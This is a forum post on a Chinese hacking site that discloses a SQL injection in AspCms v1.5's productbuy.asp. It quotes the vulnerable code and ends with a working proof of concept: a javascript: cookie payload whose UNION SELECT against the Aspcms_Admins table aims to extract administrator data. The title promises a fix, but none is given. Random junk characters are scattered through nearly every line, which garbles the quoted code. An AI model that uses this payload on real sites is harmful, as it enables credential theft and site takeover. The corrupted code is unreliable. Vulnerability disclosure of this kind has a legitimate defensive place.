找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2241|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
/ H6 o0 `4 F3 G9 S也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。/ P- N! N* l- {9 j+ w
废话不多说,看代码:% |& o8 a6 h) |7 Z/ f4 \! {( F

4 b( G, E# F+ T3 v4 ]<%- i5 C7 S4 q  q0 K" ^+ q4 T& ~9 P2 a

* t0 I' A) Z  P% o9 I8 L8 jif action = "buy" then
# V3 z8 C% @. E0 d% S# R- [& \. P! J- ~& J7 F! u7 r
        addOrder()
9 H6 M$ J, z7 v( Z! o1 c3 `4 p8 L  N( C2 o# m! Z! E
else1 ^* s) B! L4 i# V: s7 u

) G, A7 Z5 k2 E+ `. Z  g2 Z% N        echoContent()
, }) A, ^! ?$ G" f" `+ S
5 @; w/ l% T* A7 ?end if% m. _' P' d3 G. c

! u+ f; d4 x1 C: X
2 }3 g2 }5 n& p  V+ l  f5 v
" W6 I5 Y+ B# k7 _! x……略过5 N' r6 J% Z+ [: e

4 S+ o* A/ Q/ g2 G4 ~- z3 f9 U( A$ |0 U4 ?" K

6 ?1 p7 q% R* F; j1 S3 hSub echoContent()5 g0 q' Q, G* L: L2 |1 D/ z
: H* L8 e" F4 o  ]
        dim id
  D9 g, T# o, y  E. B3 T
9 j% t6 Z) h1 y; ^6 E* M        id=getForm("id","get")2 f% q  n" k' Z' X. d9 e; n6 Y3 t
) s5 F* t# u+ U( Z# g% f/ V
        * u; w2 h; W3 h- J$ c

4 N" _  B! e% q. N3 o7 _( A; I        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
1 z2 t9 N6 X" x9 J0 Z, a
5 }6 o2 O4 }( r0 l+ E( d$ b: k- z0 @        
; e( u% p/ [$ g" M: P7 y( i6 Q) L& r1 {: i1 A; w: m
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
% O% b2 u( m: o% Q1 B/ Y
* Z7 v7 q1 O8 m        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct' l/ [5 v" n2 K

: H$ w# |1 e9 r4 u        Dim templatePath,tempStr0 Z' M& E- b( B& G, [% t7 T# b
0 P* R9 \# Q5 R) G: K
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"  C. o$ z, h! W& L6 ~  H; p

3 z4 J8 D1 \' X9 J* d. n$ R* ]! S. ^

# f  _/ S; e2 H* ^4 D        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
4 Q3 O9 Z+ R  L# D% s, l/ }
7 M* R9 z& D$ j! ?) U        selectproduct=rsObj(0)
* D: _" m$ _& `8 V7 @, a9 O: k$ i+ ?9 ^9 W7 Y7 a
        
, s+ d6 ~. K9 u0 |" N2 Z: G2 ]5 d3 m& t' B
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
" n5 x1 a" J5 H* _( N& N9 z/ I3 P& P# ^1 X( `% B1 y& Z
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0) L1 ]9 c9 b% o

  y. l1 A+ z) D5 _2 H9 w4 b( R& P        if rCookie("loginstatus")=1 then  
7 ~2 `7 B& x( [% Y8 P. j$ `
$ a- r1 V( E: V$ @) B/ K                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")7 T$ i, E, \* d

' Y% `: [" W: L; ^                linkman=rsObj("truename")
# \9 F, ^6 |5 p" v' P- a6 b( @* x& p2 k* j: H$ {
                gender=rsObj("gender")# `( `( k2 h# j  x3 ?6 ~- W

, t4 }5 N$ \( I8 B' b6 k; `4 f) m                phone=rsObj("phone")* K6 ]) D+ d& s& L+ T1 a! y
1 g  a4 l. X0 ]0 Q
                mobile=rsObj("mobile")
: A! h- B$ h( v: C: x: O9 w# Q! ]: k+ y" @% ^0 W
                email=rsObj("email")  E* @$ f! v( O% Y. \' o' a
' z" {. O! ^8 d& m/ V1 p
                qq=rsObj("qq")
) R5 u0 {4 q- Y/ q
0 S. X& N+ Y+ T+ Z                address=rsObj("address")
+ o& N) c' c- Z1 U' W. |2 }; {/ G0 Z1 \2 G
                postcode=rsObj("postcode")+ M9 L: c: E9 O

; j+ T9 \3 }+ A# i, E        else $ |" o! h6 h1 d, I
+ y$ P. W' a9 c. E, l7 \
                gender=1! m8 ?( h8 V$ q" G  p
& c9 c& t3 e3 A; V0 i9 X
        end if# m$ R& P: u3 B0 w/ [' F/ s% E3 R

, [5 p! Q* d) Z7 h6 O8 m        rsObj.close()& B# P+ s% s) s7 j9 c2 Y
* u. U: ^( G; U& k  L2 G
               
6 K- G) j' t: b: J$ p
# I& }& t2 }) v        with templateObj + x' X  G& s5 E" X

3 m! W5 j* ?0 Y                .content=loadFile(templatePath)        
; c: ?  T  J3 A6 O) A# F* C6 Z$ \
                .parseHtml()  w0 U0 \3 T8 x2 X5 o2 {

% ^9 v- s+ g2 ?3 f& }8 ]                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
0 O6 K( t1 E' j$ ^( w. u/ O2 }: N2 p$ n9 I, N# a' l" p( Z& g
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
% ]; n( y; y( o5 @; O, p7 [  c  c8 Z) v6 a9 ]
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
: A0 h$ V0 C- H0 M! C7 K3 A. }/ p. g+ r7 h" p; ^6 A+ j
                .content=replaceStr(.content,"[aspcms:phone]",phone)                9 ?5 S# o, g, s% v
2 G3 ]. F! W, W  @% k. q: H. f
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                ) K( w: G( B2 @8 ]/ U- x0 d' m( q5 y
( C0 \# W) [" H- ~
                .content=replaceStr(.content,"[aspcms:email]",email)                        * Y' Q; L6 R( T
& ^$ {8 ]5 @' O6 D+ w& K
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        6 _: U  r$ R1 [4 L' s5 u7 j8 H
$ O# u; N( x5 R" w" a8 a
                .content=replaceStr(.content,"[aspcms:address]",address)                        ' a2 W  Z" \8 i2 ^' U

2 q$ \' V9 j5 A9 L- j2 L                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        # ~' ?; [; n2 A4 E- S
  ?1 |/ G, K, m; M6 p2 \
                .parseCommon()                 * M; ^  x% C; R2 D" G

% z7 V" \4 w$ c% v3 U( H1 a. J                echo .content   Q. Q6 V3 v" I+ z$ Y- ^

  y' \. f5 I. K        end with
3 G, v7 }) {  P9 @" V! X) n5 X1 M7 R; K7 E- T0 y- D9 Z; N; @
        set templateobj =nothing : terminateAllObjects: X) T$ q- ^% k+ f
5 L: L2 B9 V% q) Q4 a0 H4 a  {1 g
End Sub$ D& e$ Q. c( @4 e2 v$ _/ @
漏洞很明显,没啥好说的" S! f8 F. s, R9 R# m/ ?! a2 C( I
poc:
7 N, C- J2 s! J* _+ R2 z. z
- A1 g6 y* g" K; g! F" k" Ijavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​0 `- [+ V% W& P5 O+ }" k- c
. A0 I$ z! q3 v6 f9 D! U# m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表